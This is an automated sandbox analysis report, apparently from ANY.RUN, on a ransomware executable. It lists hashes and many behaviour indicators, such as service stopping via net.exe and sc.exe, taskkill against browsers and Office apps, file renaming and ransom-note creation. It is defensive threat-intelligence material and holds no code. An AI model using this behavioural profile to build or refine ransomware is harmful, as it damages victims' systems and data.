analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe |
| Full analysis: | https://app.any.run/tasks/4ecbb8ef-322a-4f2e-8ef8-757258d60334 |
| Verdict: | Malicious activity |
| Threats: | Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying. |
| Analysis date: | January 15, 2022, 01:39:24 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows |
| MD5: | 22367699E131A9D98F842A1003FD193A |
| SHA1: | C275084D65F845B4D957C05B874FADE071193468 |
| SHA256: | A7018FF4AAAAEBDA06615DA54AB7D3DCFE06FFDA501254EB9654AA27152629BB |
| SSDEEP: | 12288:aMA8K777777777777oPAIBeqRJ620hP9EWyuJsP9ZUNF:aEK777777777777o3BeqRJiUjuJF |
MALICIOUS
Starts NET.EXE for service management
- cmd.exe (PID: 2036)
- cmd.exe (PID: 1144)
- cmd.exe (PID: 2008)
- cmd.exe (PID: 3100)
- cmd.exe (PID: 288)
- cmd.exe (PID: 1808)
- cmd.exe (PID: 2080)
- cmd.exe (PID: 2136)
- cmd.exe (PID: 3136)
Renames files like Ransomware
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 2552)
SUSPICIOUS
Checks supported languages
- cmd.exe (PID: 1144)
- cmd.exe (PID: 2036)
- cmd.exe (PID: 2696)
- cmd.exe (PID: 3568)
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 2552)
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 1980)
- cmd.exe (PID: 2560)
- cmd.exe (PID: 2008)
- cmd.exe (PID: 3024)
- cmd.exe (PID: 2440)
- cmd.exe (PID: 1420)
- cmd.exe (PID: 3136)
- cmd.exe (PID: 1348)
- cmd.exe (PID: 2080)
- cmd.exe (PID: 1232)
- cmd.exe (PID: 3100)
- cmd.exe (PID: 2136)
- cmd.exe (PID: 1808)
- cmd.exe (PID: 288)
- cmd.exe (PID: 4016)
- cmd.exe (PID: 3016)
- cmd.exe (PID: 3508)
- cmd.exe (PID: 4008)
- cmd.exe (PID: 240)
- cmd.exe (PID: 3996)
Application launched itself
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 1980)
- cmd.exe (PID: 3568)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 2696)
- cmd.exe (PID: 2560)
- cmd.exe (PID: 3024)
- cmd.exe (PID: 3136)
- cmd.exe (PID: 2136)
- cmd.exe (PID: 3016)
- cmd.exe (PID: 3996)
- cmd.exe (PID: 4008)
- cmd.exe (PID: 3508)
- cmd.exe (PID: 240)
- cmd.exe (PID: 2008)
Reads the computer name
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 2552)
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 1980)
Changes tracing settings of the file or console
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 1980)
Starts SC.EXE for service management
- cmd.exe (PID: 1144)
- cmd.exe (PID: 2440)
- cmd.exe (PID: 1420)
- cmd.exe (PID: 1348)
- cmd.exe (PID: 2080)
- cmd.exe (PID: 1232)
- cmd.exe (PID: 4016)
- cmd.exe (PID: 2136)
- cmd.exe (PID: 2036)
- cmd.exe (PID: 3136)
- cmd.exe (PID: 3024)
Reads Environment values
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 1980)
Starts CMD.EXE for commands execution
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 1980)
- cmd.exe (PID: 3568)
Uses TASKKILL.EXE to kill Browsers
- cmd.exe (PID: 3016)
- cmd.exe (PID: 3508)
Creates files like Ransomware instruction
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 2552)
Creates files in the program directory
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 2552)
Drops a file with a compile date too recent
- a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe (PID: 2552)
Uses TASKKILL.EXE to kill Office Apps
- cmd.exe (PID: 2560)
INFO
Checks supported languages
- taskkill.exe (PID: 3344)
- net.exe (PID: 1072)
- sc.exe (PID: 3176)
- net.exe (PID: 3964)
- net.exe (PID: 3948)
- sc.exe (PID: 2460)
- net1.exe (PID: 3004)
- net.exe (PID: 2880)
- net1.exe (PID: 1416)
- net1.exe (PID: 932)
- sc.exe (PID: 1268)
- net1.exe (PID: 2968)
- taskkill.exe (PID: 2460)
- net.exe (PID: 2156)
- net.exe (PID: 2148)
- taskkill.exe (PID: 3512)
- net.exe (PID: 2328)
- net1.exe (PID: 1312)
- sc.exe (PID: 2168)
- net.exe (PID: 2140)
- net1.exe (PID: 3632)
- net.exe (PID: 3044)
- net1.exe (PID: 2584)
- net1.exe (PID: 540)
- net.exe (PID: 3528)
- net.exe (PID: 3092)
- net1.exe (PID: 2220)
- net1.exe (PID: 3992)
- net1.exe (PID: 1036)
- sc.exe (PID: 3976)
- sc.exe (PID: 1004)
- net.exe (PID: 3160)
- net.exe (PID: 2144)
- net1.exe (PID: 2356)
- net1.exe (PID: 2616)
- sc.exe (PID: 2796)
- net.exe (PID: 2968)
- net.exe (PID: 1236)
- sc.exe (PID: 116)
- sc.exe (PID: 916)
- net.exe (PID: 3164)
- net1.exe (PID: 3568)
- sc.exe (PID: 436)
- taskkill.exe (PID: 3548)
- sc.exe (PID: 3616)
- net1.exe (PID: 3956)
- net1.exe (PID: 1572)
- sc.exe (PID: 2464)
- net.exe (PID: 2284)
- sc.exe (PID: 2088)
- sc.exe (PID: 1012)
- net1.exe (PID: 3116)
- sc.exe (PID: 3160)
- sc.exe (PID: 3464)
- sc.exe (PID: 572)
- net.exe (PID: 3564)
- sc.exe (PID: 2928)
- taskkill.exe (PID: 128)
- sc.exe (PID: 3980)
- net.exe (PID: 3932)
- sc.exe (PID: 3520)
- sc.exe (PID: 1416)
- net1.exe (PID: 1344)
- sc.exe (PID: 824)
- net1.exe (PID: 4072)
- sc.exe (PID: 1332)
- sc.exe (PID: 3568)
- sc.exe (PID: 516)
- sc.exe (PID: 3948)
- net.exe (PID: 2144)
- net.exe (PID: 2680)
- sc.exe (PID: 1128)
- net1.exe (PID: 4068)
- sc.exe (PID: 420)
- sc.exe (PID: 1072)
- sc.exe (PID: 2352)
- net1.exe (PID: 424)
- sc.exe (PID: 4028)
- sc.exe (PID: 1840)
- sc.exe (PID: 188)
- sc.exe (PID: 2872)
- sc.exe (PID: 2904)
- net.exe (PID: 2488)
- net.exe (PID: 1580)
- sc.exe (PID: 2764)
- sc.exe (PID: 2776)
- sc.exe (PID: 2888)
- net.exe (PID: 2596)
- taskkill.exe (PID: 2732)
- net.exe (PID: 2152)
- sc.exe (PID: 2548)
- net1.exe (PID: 3804)
- net1.exe (PID: 2464)
- sc.exe (PID: 3748)
- sc.exe (PID: 2052)
- net1.exe (PID: 3272)
- net1.exe (PID: 472)
- sc.exe (PID: 2268)
- sc.exe (PID: 3736)
- sc.exe (PID: 1004)
- sc.exe (PID: 1028)
- sc.exe (PID: 392)
- sc.exe (PID: 2184)
- net.exe (PID: 3340)
- net1.exe (PID: 1384)
- net.exe (PID: 3124)
- sc.exe (PID: 3236)
- net.exe (PID: 1436)
- net.exe (PID: 3400)
- net1.exe (PID: 1712)
- sc.exe (PID: 3532)
- sc.exe (PID: 2888)
- net.exe (PID: 664)
- sc.exe (PID: 2364)
- sc.exe (PID: 2524)
- net1.exe (PID: 4064)
- sc.exe (PID: 304)
- net1.exe (PID: 3980)
- sc.exe (PID: 2908)
- net.exe (PID: 1752)
- sc.exe (PID: 2140)
- sc.exe (PID: 408)
- net1.exe (PID: 932)
- net.exe (PID: 3172)
- sc.exe (PID: 2148)
- net1.exe (PID: 2032)
- sc.exe (PID: 3688)
- sc.exe (PID: 3692)
- net.exe (PID: 668)
- net1.exe (PID: 580)
- net.exe (PID: 3696)
- sc.exe (PID: 2684)
- net.exe (PID: 3552)
- sc.exe (PID: 2112)
- net1.exe (PID: 2804)
- net.exe (PID: 3144)
- sc.exe (PID: 2488)
- taskkill.exe (PID: 3488)
- net1.exe (PID: 284)
- sc.exe (PID: 340)
- net1.exe (PID: 4060)
- sc.exe (PID: 3796)
- net.exe (PID: 3156)
- sc.exe (PID: 3924)
- sc.exe (PID: 3560)
- net1.exe (PID: 2384)
- net.exe (PID: 2500)
- sc.exe (PID: 2444)
- taskkill.exe (PID: 3684)
- net1.exe (PID: 636)
- sc.exe (PID: 3540)
- net.exe (PID: 2512)
- sc.exe (PID: 3572)
- net.exe (PID: 3292)
- taskkill.exe (PID: 1152)
- sc.exe (PID: 2340)
- taskkill.exe (PID: 2524)
- net1.exe (PID: 1648)
- net.exe (PID: 3028)
- sc.exe (PID: 2476)
- sc.exe (PID: 3504)
- net.exe (PID: 3108)
- sc.exe (PID: 2268)
- taskkill.exe (PID: 3020)
- net.exe (PID: 2084)
- net1.exe (PID: 3532)
- sc.exe (PID: 760)
- sc.exe (PID: 3160)
- taskkill.exe (PID: 3592)
- sc.exe (PID: 340)
- net.exe (PID: 2604)
- net1.exe (PID: 4068)
- sc.exe (PID: 3512)
- net1.exe (PID: 3464)
- net1.exe (PID: 3416)
- sc.exe (PID: 3660)
- net1.exe (PID: 3624)
- net1.exe (PID: 2316)
- taskkill.exe (PID: 2928)
- sc.exe (PID: 2728)
- sc.exe (PID: 2772)
- taskkill.exe (PID: 2620)
- net.exe (PID: 2680)
- net.exe (PID: 1012)
- sc.exe (PID: 2404)
- sc.exe (PID: 3116)
- net1.exe (PID: 3628)
- net1.exe (PID: 2464)
- sc.exe (PID: 2336)
- net.exe (PID: 988)
- net.exe (PID: 3768)
- sc.exe (PID: 4028)
- sc.exe (PID: 2476)
- net.exe (PID: 2268)
- sc.exe (PID: 3664)
- net1.exe (PID: 3748)
- net1.exe (PID: 796)
- sc.exe (PID: 2796)
- net1.exe (PID: 3360)
- net.exe (PID: 1128)
- sc.exe (PID: 508)
- sc.exe (PID: 3108)
- net.exe (PID: 3264)
- sc.exe (PID: 2544)
- sc.exe (PID: 3572)
- sc.exe (PID: 3540)
- net1.exe (PID: 2984)
- net.exe (PID: 3472)
- net.exe (PID: 2572)
- net.exe (PID: 2132)
- net.exe (PID: 1312)
- net1.exe (PID: 3044)
- sc.exe (PID: 3552)
- sc.exe (PID: 2500)
- sc.exe (PID: 3664)
- taskkill.exe (PID: 1368)
- net1.exe (PID: 2476)
- net1.exe (PID: 4028)
- sc.exe (PID: 3932)
- net.exe (PID: 2072)
- net.exe (PID: 3748)
- sc.exe (PID: 3048)
- net1.exe (PID: 2264)
- net1.exe (PID: 2168)
- net1.exe (PID: 3336)
- net1.exe (PID: 1028)
- sc.exe (PID: 832)
- net.exe (PID: 3520)
- sc.exe (PID: 3948)
- net.exe (PID: 3688)
- sc.exe (PID: 3616)
- sc.exe (PID: 3632)
- sc.exe (PID: 2968)
- sc.exe (PID: 3504)
- net1.exe (PID: 508)
- net.exe (PID: 3072)
- net1.exe (PID: 3716)
- net.exe (PID: 2836)
- sc.exe (PID: 3308)
- taskkill.exe (PID: 2428)
- sc.exe (PID: 3092)
- net.exe (PID: 1400)
- net1.exe (PID: 2300)
- net1.exe (PID: 376)
- sc.exe (PID: 1236)
- net1.exe (PID: 1572)
- net.exe (PID: 3980)
- net.exe (PID: 1384)
- net1.exe (PID: 3008)
- sc.exe (PID: 2768)
- sc.exe (PID: 3176)
- sc.exe (PID: 188)
- net1.exe (PID: 4028)
- net.exe (PID: 3500)
- sc.exe (PID: 2476)
- sc.exe (PID: 3144)
- net1.exe (PID: 3572)
- net.exe (PID: 1516)
- net1.exe (PID: 796)
- net.exe (PID: 2548)
- sc.exe (PID: 3336)
- sc.exe (PID: 2196)
- net1.exe (PID: 3512)
- sc.exe (PID: 4068)
- net1.exe (PID: 2132)
- net1.exe (PID: 4052)
- sc.exe (PID: 3660)
- net.exe (PID: 4020)
- net.exe (PID: 3344)
- sc.exe (PID: 2496)
- sc.exe (PID: 1584)
- net.exe (PID: 2712)
- net.exe (PID: 2664)
- sc.exe (PID: 3864)
- net1.exe (PID: 2508)
- net1.exe (PID: 420)
- sc.exe (PID: 2512)
- net.exe (PID: 3400)
- sc.exe (PID: 472)
- sc.exe (PID: 3112)
- net1.exe (PID: 916)
- net.exe (PID: 760)
- sc.exe (PID: 3552)
- net1.exe (PID: 3716)
- net.exe (PID: 2396)
- sc.exe (PID: 448)
- sc.exe (PID: 3896)
- sc.exe (PID: 4064)
- sc.exe (PID: 1828)
- net1.exe (PID: 2936)
- net.exe (PID: 3660)
- net.exe (PID: 1568)
- sc.exe (PID: 3496)
- sc.exe (PID: 3948)
- net1.exe (PID: 3476)
- net.exe (PID: 2652)
- sc.exe (PID: 3992)
- net1.exe (PID: 3840)
- sc.exe (PID: 3972)
- sc.exe (PID: 2772)
- net1.exe (PID: 420)
- sc.exe (PID: 988)
- sc.exe (PID: 2316)
- net.exe (PID: 3632)
- sc.exe (PID: 1028)
- net.exe (PID: 1332)
- taskkill.exe (PID: 2248)
- sc.exe (PID: 3092)
- net1.exe (PID: 2420)
- sc.exe (PID: 1844)
- net1.exe (PID: 2284)
- sc.exe (PID: 2512)
- net.exe (PID: 3616)
- net.exe (PID: 3300)
- sc.exe (PID: 2176)
- net1.exe (PID: 3804)
- net1.exe (PID: 3968)
- sc.exe (PID: 3104)
- net.exe (PID: 3476)
- sc.exe (PID: 2080)
- net1.exe (PID: 3340)
- sc.exe (PID: 3536)
- sc.exe (PID: 1712)
- sc.exe (PID: 840)
- net.exe (PID: 1564)
- net1.exe (PID: 2296)
- net.exe (PID: 1260)
- sc.exe (PID: 1028)
- net.exe (PID: 2092)
- net.exe (PID: 3464)
- sc.exe (PID: 3252)
- net1.exe (PID: 2556)
- net1.exe (PID: 3764)
- sc.exe (PID: 3116)
- sc.exe (PID: 3460)
- net.exe (PID: 2980)
- sc.exe (PID: 3344)
- taskkill.exe (PID: 2512)
- net1.exe (PID: 1144)
- taskkill.exe (PID: 1572)
- taskkill.exe (PID: 832)
- sc.exe (PID: 2924)
- sc.exe (PID: 540)
- net1.exe (PID: 3688)
- net.exe (PID: 3652)
- net.exe (PID: 3896)
- net.exe (PID: 1820)
- net1.exe (PID: 1416)
- net1.exe (PID: 760)
- sc.exe (PID: 2604)
- sc.exe (PID: 2356)
- net.exe (PID: 2544)
- net1.exe (PID: 1384)
- net1.exe (PID: 3416)
- sc.exe (PID: 3064)
- sc.exe (PID: 3388)
- sc.exe (PID: 3176)
- net.exe (PID: 3716)
- sc.exe (PID: 1856)
- net1.exe (PID: 2052)
- net1.exe (PID: 3392)
- net.exe (PID: 3564)
- sc.exe (PID: 3300)
- net.exe (PID: 4000)
- net.exe (PID: 1320)
- net1.exe (PID: 284)
- sc.exe (PID: 2748)
- sc.exe (PID: 3560)
- net1.exe (PID: 2084)
- sc.exe (PID: 1904)
- sc.exe (PID: 3160)
- net.exe (PID: 3152)
- net1.exe (PID: 412)
- sc.exe (PID: 2100)
- sc.exe (PID: 1244)
- net.exe (PID: 2208)
- net1.exe (PID: 2996)
- net.exe (PID: 3972)
- sc.exe (PID: 3864)
- sc.exe (PID: 420)
- net1.exe (PID: 340)
- sc.exe (PID: 2848)
- sc.exe (PID: 2984)
- net.exe (PID: 664)
- net.exe (PID: 2396)
- sc.exe (PID: 2140)
- sc.exe (PID: 1128)
- net1.exe (PID: 3716)
- net1.exe (PID: 2128)
- sc.exe (PID: 2112)
- sc.exe (PID: 2280)
- sc.exe (PID: 1112)
- taskkill.exe (PID: 3824)
- taskkill.exe (PID: 3804)
- net.exe (PID: 128)
- taskkill.exe (PID: 3388)
- taskkill.exe (PID: 2712)
- taskkill.exe (PID: 348)
- taskkill.exe (PID: 1864)
- taskkill.exe (PID: 3452)
- taskkill.exe (PID: 3580)
- taskkill.exe (PID: 2544)
- sc.exe (PID: 516)
- taskkill.exe (PID: 3500)
- net1.exe (PID: 3236)
- taskkill.exe (PID: 3176)
- sc.exe (PID: 412)
- net.exe (PID: 2324)
- sc.exe (PID: 3300)
- net.exe (PID: 3864)
- sc.exe (PID: 2148)
- sc.exe (PID: 2068)
- sc.exe (PID: 3812)
- net1.exe (PID: 268)
- net.exe (PID: 3028)
- sc.exe (PID: 3844)
- sc.exe (PID: 3540)
- net1.exe (PID: 2676)
- sc.exe (PID: 1820)
- net1.exe (PID: 2336)
- net.exe (PID: 1036)
- sc.exe (PID: 1260)
- sc.exe (PID: 2964)
- net.exe (PID: 1840)
- net.exe (PID: 596)
- net1.exe (PID: 1828)
- net1.exe (PID: 128)
- sc.exe (PID: 1568)
- net1.exe (PID: 3464)
- sc.exe (PID: 1764)
- sc.exe (PID: 2936)
- net.exe (PID: 396)
- net1.exe (PID: 2728)
- net.exe (PID: 3844)
- net.exe (PID: 2656)
- net1.exe (PID: 1572)
- sc.exe (PID: 3648)
- sc.exe (PID: 3548)
- sc.exe (PID: 424)
- net1.exe (PID: 376)
- net1.exe (PID: 4072)
- net.exe (PID: 3540)
- net.exe (PID: 3236)
- sc.exe (PID: 3636)
- net1.exe (PID: 2220)
- net.exe (PID: 1616)
- net.exe (PID: 2332)
- sc.exe (PID: 1584)
- net.exe (PID: 3632)
- sc.exe (PID: 2072)
- net1.exe (PID: 2900)
- sc.exe (PID: 2092)
- net1.exe (PID: 2924)
- net.exe (PID: 3628)
- sc.exe (PID: 2500)
- net.exe (PID: 3660)
- net1.exe (PID: 2252)
- sc.exe (PID: 4036)
- net1.exe (PID: 3524)
- net.exe (PID: 2152)
- net1.exe (PID: 3504)
- sc.exe (PID: 1332)
- net1.exe (PID: 3720)
- taskkill.exe (PID: 2440)
- sc.exe (PID: 3532)
- sc.exe (PID: 1124)
- sc.exe (PID: 2932)
- net.exe (PID: 2312)
- sc.exe (PID: 2252)
- net.exe (PID: 2084)
- net.exe (PID: 832)
- net1.exe (PID: 3360)
- sc.exe (PID: 3160)
- sc.exe (PID: 1856)
- sc.exe (PID: 304)
- taskkill.exe (PID: 188)
- net1.exe (PID: 2548)
- net.exe (PID: 1436)
- net1.exe (PID: 2748)
- sc.exe (PID: 2172)
- net.exe (PID: 2524)
- net1.exe (PID: 1584)
- sc.exe (PID: 1712)
- sc.exe (PID: 2152)
- net1.exe (PID: 3412)
- taskkill.exe (PID: 2252)
- net.exe (PID: 2992)
- net.exe (PID: 3548)
- sc.exe (PID: 2184)
- sc.exe (PID: 116)
- net1.exe (PID: 2444)
- net1.exe (PID: 2364)
- sc.exe (PID: 4080)
- sc.exe (PID: 3152)
- sc.exe (PID: 1856)
- net1.exe (PID: 3680)
- net.exe (PID: 1564)
- sc.exe (PID: 988)
- net1.exe (PID: 276)
- net1.exe (PID: 796)
- net.exe (PID: 2748)
- net.exe (PID: 2096)
- sc.exe (PID: 3632)
- net.exe (PID: 4068)
- sc.exe (PID: 3044)
- sc.exe (PID: 3004)
- sc.exe (PID: 3416)
- net1.exe (PID: 2184)
- sc.exe (PID: 2772)
- net.exe (PID: 1668)
- sc.exe (PID: 1028)
- net1.exe (PID: 2148)
- net.exe (PID: 2476)
- sc.exe (PID: 1840)
- net1.exe (PID: 2180)
- net.exe (PID: 3736)
- sc.exe (PID: 2764)
- net1.exe (PID: 1344)
- taskkill.exe (PID: 2692)
- sc.exe (PID: 2456)
- sc.exe (PID: 3976)
- net.exe (PID: 2748)
- sc.exe (PID: 2248)
- net.exe (PID: 2616)
- sc.exe (PID: 3360)
- net.exe (PID: 2604)
- net1.exe (PID: 3592)
- sc.exe (PID: 2328)
- net1.exe (PID: 3072)
- sc.exe (PID: 1468)
- net.exe (PID: 2668)
- sc.exe (PID: 3748)
- sc.exe (PID: 424)
- sc.exe (PID: 796)
- taskkill.exe (PID: 4052)
- net1.exe (PID: 1844)
- net.exe (PID: 1376)
- net.exe (PID: 2196)
- net.exe (PID: 2220)
- net1.exe (PID: 2728)
- sc.exe (PID: 416)
- taskkill.exe (PID: 472)
- sc.exe (PID: 2356)
- net1.exe (PID: 2904)
- net1.exe (PID: 3104)
- net1.exe (PID: 2772)
- net.exe (PID: 3004)
- taskkill.exe (PID: 1904)
- taskkill.exe (PID: 268)
- sc.exe (PID: 2760)
- net1.exe (PID: 2464)
- net.exe (PID: 1348)
- sc.exe (PID: 3572)
- net1.exe (PID: 1564)
- net.exe (PID: 404)
- net.exe (PID: 760)
- sc.exe (PID: 4036)
- net1.exe (PID: 3592)
- net1.exe (PID: 3500)
- sc.exe (PID: 3540)
- net.exe (PID: 3992)
- net1.exe (PID: 3000)
- taskkill.exe (PID: 3736)
- sc.exe (PID: 3660)
- sc.exe (PID: 2296)
- taskkill.exe (PID: 2088)
- taskkill.exe (PID: 796)
- sc.exe (PID: 1416)
- taskkill.exe (PID: 392)
- net.exe (PID: 3980)
- taskkill.exe (PID: 3764)
- net.exe (PID: 3968)
- net.exe (PID: 508)
- net1.exe (PID: 3628)
- sc.exe (PID: 2352)
- net1.exe (PID: 2180)
- taskkill.exe (PID: 2080)
- sc.exe (PID: 2972)
- sc.exe (PID: 3528)
- net1.exe (PID: 2096)
- sc.exe (PID: 948)
- net.exe (PID: 2360)
- sc.exe (PID: 1408)
- net1.exe (PID: 2356)
- sc.exe (PID: 516)
- net1.exe (PID: 1996)
- net.exe (PID: 3520)
- net1.exe (PID: 4072)
- net.exe (PID: 3488)
- taskkill.exe (PID: 580)
- sc.exe (PID: 1120)
- net.exe (PID: 3576)
- taskkill.exe (PID: 3524)
- net1.exe (PID: 3592)
- sc.exe (PID: 3280)
- sc.exe (PID: 3112)
- taskkill.exe (PID: 2032)
- net.exe (PID: 3560)
- net.exe (PID: 2172)
- net1.exe (PID: 1468)
- net1.exe (PID: 2852)
- sc.exe (PID: 3092)
- sc.exe (PID: 128)
- net1.exe (PID: 2468)
- net.exe (PID: 1312)
- sc.exe (PID: 2024)
- net.exe (PID: 2156)
- taskkill.exe (PID: 1656)
- net.exe (PID: 2096)
- net.exe (PID: 2752)
- net1.exe (PID: 344)
- net1.exe (PID: 3636)
- net1.exe (PID: 3796)
- net.exe (PID: 3560)
- net1.exe (PID: 1072)
- taskkill.exe (PID: 4080)
- net.exe (PID: 932)
- taskkill.exe (PID: 2852)
- net1.exe (PID: 2628)
- net.exe (PID: 1580)
- net1.exe (PID: 2848)
- net.exe (PID: 664)
- taskkill.exe (PID: 2180)
- net.exe (PID: 3992)
- net1.exe (PID: 2324)
- net1.exe (PID: 1012)
- net.exe (PID: 3236)
- net.exe (PID: 3896)
- net1.exe (PID: 4044)
- taskkill.exe (PID: 268)
- taskkill.exe (PID: 3792)
- net1.exe (PID: 3520)
- net1.exe (PID: 2096)
- net1.exe (PID: 3736)
- net.exe (PID: 1616)
- net.exe (PID: 3360)
- taskkill.exe (PID: 2780)
- sc.exe (PID: 2280)
- net.exe (PID: 1332)
- net1.exe (PID: 2512)
- net.exe (PID: 2068)
- net1.exe (PID: 3876)
- taskkill.exe (PID: 2296)
- net.exe (PID: 3692)
- taskkill.exe (PID: 2764)
- taskkill.exe (PID: 424)
- net1.exe (PID: 2196)
- net.exe (PID: 3956)
- taskkill.exe (PID: 1036)
- taskkill.exe (PID: 344)
- net1.exe (PID: 1996)
- net1.exe (PID: 3400)
- net.exe (PID: 1764)
- net.exe (PID: 1584)
- net.exe (PID: 1856)
- net.exe (PID: 1408)
- taskkill.exe (PID: 2124)
- net1.exe (PID: 2476)
- taskkill.exe (PID: 3140)
- net1.exe (PID: 1108)
- net1.exe (PID: 2908)
- net.exe (PID: 1436)
- net.exe (PID: 3804)
- net1.exe (PID: 3544)
- net1.exe (PID: 3520)
- net.exe (PID: 2100)
- net1.exe (PID: 3020)
- net1.exe (PID: 3116)
- net.exe (PID: 3344)
- net1.exe (PID: 2160)
- net1.exe (PID: 404)
- net.exe (PID: 2312)
- net.exe (PID: 2224)
- net1.exe (PID: 1152)
- net.exe (PID: 2472)
- net.exe (PID: 2476)
- taskkill.exe (PID: 2992)
- net1.exe (PID: 2768)
- net.exe (PID: 2772)
- net1.exe (PID: 2524)
- net1.exe (PID: 2404)
- net1.exe (PID: 3736)
- net.exe (PID: 3388)
- net.exe (PID: 3000)
- net.exe (PID: 3680)
- net1.exe (PID: 2820)
- net.exe (PID: 3372)
- net1.exe (PID: 2032)
- net.exe (PID: 1436)
- net1.exe (PID: 1400)
- net.exe (PID: 348)
- taskkill.exe (PID: 2332)
- net1.exe (PID: 3824)
- net.exe (PID: 128)
- net1.exe (PID: 3540)
- taskkill.exe (PID: 3388)
- net.exe (PID: 1828)
- taskkill.exe (PID: 2364)
- net1.exe (PID: 2724)
- net.exe (PID: 2692)
- net1.exe (PID: 1764)
- net1.exe (PID: 2676)
- net.exe (PID: 392)
- taskkill.exe (PID: 516)
- net.exe (PID: 2092)
- net.exe (PID: 3560)
- net1.exe (PID: 3000)
- taskkill.exe (PID: 2584)
- net1.exe (PID: 1312)
- taskkill.exe (PID: 2980)
- net.exe (PID: 2208)
- net.exe (PID: 2796)
- net1.exe (PID: 2488)
- net.exe (PID: 2816)
- sc.exe (PID: 2852)
- taskkill.exe (PID: 1312)
- net.exe (PID: 2680)
- taskkill.exe (PID: 2540)
- net1.exe (PID: 1764)
- net1.exe (PID: 540)
- net.exe (PID: 2740)
- net1.exe (PID: 4032)
- net.exe (PID: 1968)
- net1.exe (PID: 2728)
- net1.exe (PID: 284)
- taskkill.exe (PID: 2088)
- sc.exe (PID: 3540)
- taskkill.exe (PID: 3476)
- net.exe (PID: 2764)
- net1.exe (PID: 3452)
- taskkill.exe (PID: 3152)
- taskkill.exe (PID: 1904)
- taskkill.exe (PID: 4044)
- taskkill.exe (PID: 2512)
- taskkill.exe (PID: 2712)
- taskkill.exe (PID: 2900)
- sc.exe (PID: 1244)
- taskkill.exe (PID: 3044)
- sc.exe (PID: 2184)
- sc.exe (PID: 1728)
- sc.exe (PID: 3712)
- taskkill.exe (PID: 796)
- taskkill.exe (PID: 832)
- taskkill.exe (PID: 3764)
- taskkill.exe (PID: 1764)
- taskkill.exe (PID: 2132)
- taskkill.exe (PID: 3580)
- taskkill.exe (PID: 3140)
- taskkill.exe (PID: 3384)
- taskkill.exe (PID: 3784)
- taskkill.exe (PID: 1356)
- taskkill.exe (PID: 2556)
- taskkill.exe (PID: 3520)
- taskkill.exe (PID: 288)
- taskkill.exe (PID: 2488)
- taskkill.exe (PID: 2680)
- taskkill.exe (PID: 3964)
- taskkill.exe (PID: 772)
- taskkill.exe (PID: 2572)
- taskkill.exe (PID: 1752)
- taskkill.exe (PID: 2792)
- taskkill.exe (PID: 948)
- taskkill.exe (PID: 3672)
- taskkill.exe (PID: 3512)
- taskkill.exe (PID: 2052)
- taskkill.exe (PID: 2316)
- taskkill.exe (PID: 1840)
- net.exe (PID: 304)
- taskkill.exe (PID: 2088)
- taskkill.exe (PID: 3148)
- taskkill.exe (PID: 2964)
- taskkill.exe (PID: 3300)
- taskkill.exe (PID: 3172)
- taskkill.exe (PID: 3640)
- net1.exe (PID: 2712)
- taskkill.exe (PID: 2512)
- taskkill.exe (PID: 3496)
- taskkill.exe (PID: 2688)
- taskkill.exe (PID: 2312)
- taskkill.exe (PID: 580)
- taskkill.exe (PID: 3504)
- net.exe (PID: 3176)
- taskkill.exe (PID: 3516)
- net1.exe (PID: 1516)
- taskkill.exe (PID: 2732)
- net.exe (PID: 1712)
- net1.exe (PID: 4016)
- taskkill.exe (PID: 2728)
- net1.exe (PID: 1344)
- net.exe (PID: 1844)
- net.exe (PID: 636)
- net1.exe (PID: 2540)
- net.exe (PID: 2620)
- net1.exe (PID: 3416)
- taskkill.exe (PID: 988)
- net.exe (PID: 3372)
- net.exe (PID: 1260)
- net1.exe (PID: 2364)
- net1.exe (PID: 3716)
- taskkill.exe (PID: 1512)
- net1.exe (PID: 2612)
- net.exe (PID: 2120)
- net.exe (PID: 472)
- net.exe (PID: 2796)
- net1.exe (PID: 1584)
- taskkill.exe (PID: 2640)
- taskkill.exe (PID: 2820)
- taskkill.exe (PID: 2568)
- taskkill.exe (PID: 2932)
- net1.exe (PID: 3476)
- taskkill.exe (PID: 3524)
- net1.exe (PID: 3812)
- taskkill.exe (PID: 2176)
- net.exe (PID: 2188)
- taskkill.exe (PID: 2380)
- taskkill.exe (PID: 3168)
- taskkill.exe (PID: 2440)
- taskkill.exe (PID: 188)
- taskkill.exe (PID: 3652)
- taskkill.exe (PID: 396)
- taskkill.exe (PID: 4072)
- taskkill.exe (PID: 2100)
- taskkill.exe (PID: 3764)
- taskkill.exe (PID: 1468)
- taskkill.exe (PID: 128)
- taskkill.exe (PID: 1828)
- taskkill.exe (PID: 2688)
- taskkill.exe (PID: 2904)
- taskkill.exe (PID: 2348)
- taskkill.exe (PID: 3976)
- taskkill.exe (PID: 3396)
- taskkill.exe (PID: 1324)
- taskkill.exe (PID: 1312)
- taskkill.exe (PID: 1584)
- taskkill.exe (PID: 1436)
- taskkill.exe (PID: 3008)
- taskkill.exe (PID: 3968)
